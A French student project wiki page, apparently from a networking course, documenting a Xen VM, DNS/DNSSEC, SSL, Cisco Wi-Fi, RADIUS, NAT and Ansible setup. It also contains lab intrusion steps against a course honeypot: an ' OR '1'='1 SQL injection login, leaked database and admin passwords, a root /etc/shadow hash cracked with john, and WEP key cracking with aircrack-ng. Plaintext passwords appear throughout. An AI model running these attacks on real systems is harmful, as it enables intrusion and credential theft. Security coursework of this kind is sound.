Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
